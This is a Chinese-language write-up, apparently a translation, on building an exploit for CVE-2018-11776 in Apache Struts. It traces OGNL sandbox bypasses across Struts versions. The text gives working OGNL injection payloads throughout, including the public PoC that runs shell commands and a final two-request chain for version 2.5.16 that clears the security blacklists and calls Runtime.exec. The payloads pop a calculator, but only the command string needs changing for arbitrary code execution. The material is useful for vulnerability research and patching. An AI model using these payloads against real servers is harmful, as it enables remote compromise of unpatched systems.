CVE-2018-11776: Apache Struts OGNL沙箱繞過
本文講述如何構建CVE-2018-11776的漏洞利用。
Struts OGNL利用史
首先介紹一些背景和概念以幫助理解OGNL利用的過程。首先介紹下OGNL的基本概念。
OGNL執行環境
在Struts的中,OGNL可以使用#符號訪問全域性物件。本文介紹一些可以訪問的物件,其中列出的物件中有兩個對構建exp非常關鍵。第一個物件是 _memberAccess,這是用來控制OGNL 行為的SecurityMemberAccess物件,另一個是context,這是允許訪問更多的其他物件的context圖。獲取對 _memberAccess的訪問許可權可以輕易地修改SecurityMemberAccess 的安全設定。比如:
#_memberAccess['allowStaticMethodAccess']=true會修改_memberAccess中的設定。
@java.lang.Runtime@getRuntime().exec('xcalc')會彈出一個計算器。
SecurityMemberAccess
Struts用_memberAccess來控制OGNL中允許的行為。最開始使用一些布林變數(allowPrivateAccess, allowProtectedAccess, allowPackageProtectedAccess, allowStaticMethodAccess)來提供對OGNL訪問Java classes方法和成員的訪問。預設情況下,這些設定都是false。在之後的版本中,出現了用於拒絕對特定類和package進行訪問的3個黑名單,分別是:
·excludedClasses
· excludedPackageNames
· excludedPackageNamePatterns。
不允許使用靜態方法,但允許任意構造器(2.3.20之前版本)
預設情況下,_memberAccess 會進行配置會預防對靜態、私有和受保護的方法的訪問。但是在2.3.14.1版本之前,這可以通過提取#_memberAccess和修改其中的設定來輕鬆繞過。許多漏洞利用都使用了這樣的方法,比如:
(#_memberAccess['allowStaticMethodAccess']=true).(@java.lang.Runtime@getRuntime().exec('xcalc'))
在2.3.14.1及之後版本,allowStaticMethodAccess變成了final,並且不能再修改。但是 _memberAccess允許構造任意類和訪問公有方法,執行任意程式碼就不需要修改中 _memberAccess的設定了:
(#p=new java.lang.ProcessBuilder('xcalc')).(#p.start())
這在2.3.20之前版本都適用。
沒有靜態方法,沒有構建函式,但是允許訪問任意類(2.3.20-2.3.29)
在2.3.20版本中,將excludedClasses, excludedPackageNames和excludedPackageNamePatterns類加入了黑名單。另一個變化是拒絕所有constructor呼叫。這會殺掉ProcessBuilder payload,從這點看,靜態方法和constructors都是不允許的,這會對OGNL的功能做出限制。但_memberAccess仍然是可以訪問的,靜態物件ofollow,noindex">DefaultMemberAccess 也是可以訪問的。
DefaultMemberAccess物件是預設SecurityMemberAccess的一個版本,SecurityMemberAccess允許靜態方法和建構函式。所以用DefaultMemberAccess替換_memberAccess就可以了。
#[email protected]@DEFAULT_MEMBER_ACCESS).(@java.lang.Runtime@getRuntime().exec('xcalc')
這在2.3.29版本之前都是適用的,而且這是最近的一個利用的重要部分。
對_memberAccess和類不再限制(2.3.30/2.5.2+)
最後, _memberAccess這些簡單的技巧都不能用了。類ognl.MemberAccess和 ognl.DefaultMemberAccess都被加入黑名單了。下面看以下如何繞過:
#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('xcalc')
首先注意該利用並不會嘗試到達_memberAccess。而是OgnlUtil 獲取的例項,並清除黑名單。那是怎麼做到的呢?首先從context map中獲取Container ,其中含有以下key:
Key com.opensymphony.xwork2.ActionContext.container會給出OGNL執行環境中Container的例項:
getInstance 方法會嘗試建立一個類OgnlUtil的例項,但因為是singleton(單例模式),所以會返回現有的全域性例項。
為了瞭解全域性OgnlUtil物件中的excludedClasses 與 _memberAccess物件的關係,下面看一下_memberAccess是如何初始化的。
當請求到達時,呼叫createActionContext方法來建立新的ActionContext。
最終呼叫OgnlValueStack的setOgnlUtil方法來初始化OgnlValueStack的securityMemberAccess和OgnlUtil的全域性例項。
從下面的例子中可以看出,securityMemberAccess和 _memberAccess是一樣的。
這意味著OgnlUtil的全域性例項與_memberAccess共享相同的excludedClasses, excludedPackageNames, excludedPackageNamePatternsSet,因此清除它們後也清除了_memberAccess中對應的Set。
之後,OGNL可以自由訪問OgnlContext 中的DEFAULT_MEMBER_ACCESS物件和setMemberAccess 方法來用DEFAULT_MEMBER_ACCES替換_memberAccess,然後執行任意程式碼。
繞過2.5.16
下面解釋如何在2.5.16中繞過安全措施,攻擊CVE-2018-11776。
首先看一下公開的漏洞利用POC:
${(#_memberAccess['allowStaticMethodAccess']=true).(#cmd='xcalc').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
下面開始構造可以工作的漏洞利用:
(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('xcalc'))
該漏洞利用並不在2.5.16版本上適用,因為該版本引入了一些新的安全措施。首先,對context和excludedClasses的訪問在2.5.13版本中被移除,黑名單在2.5.10版本之後不能修改了。
下面看一下attr:
struts.valueStack的值以OgnlValueStack作為型別。如果想要用OGNL使用的context map,那麼OgnlValueStack是一個不錯的選擇。getContext 方法可以提供我們想要的context map。所以把剛才的漏洞利用修改為:
(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('xcalc'))
但是因為excludedClasses和excludedPackageNames 都不能修改,因為該漏洞利用還是不能工作。
但黑名單其實是可以通過setters修改的:
(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames('')).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('xcalc'))
修改後還不能工作,為什麼呢?因為excludedClasses集被從 ognlUtil中清除了:
但不在 _memberAccess中:
這是因為在ognlUtil中設定excludedClasses時,會分配excludedClasses一個新的空集而不是修改_memberAccess和ognlUtil引用的集合,所以修改隻影響 ognlUtil,而不影響_memberAccess。然後重新發送payload:
成功打開了計算器。是如何做到的呢? _memberAccess是請求到達時,建立新ActionContext過程中建立的臨時物件。每次當用createActionContext 方法建立新的ActionContext時,都會呼叫setOgnlUtil 方法使用excludedClasses, excludedPackageNames等建立_memberAccess。重新發送請求後,新建立的_memberAccess會請求其黑名單類和package,執行執行任意程式碼。
最後形成了兩個payload,一個是清空excludedClasses和excludedPackageNames黑名單的:
(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))
另一個是緩和_memberAccess,執行任意程式碼:
(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('xcalc'))
順序傳送這兩個payload就可以利用CVE-2018-11776執行任意程式碼。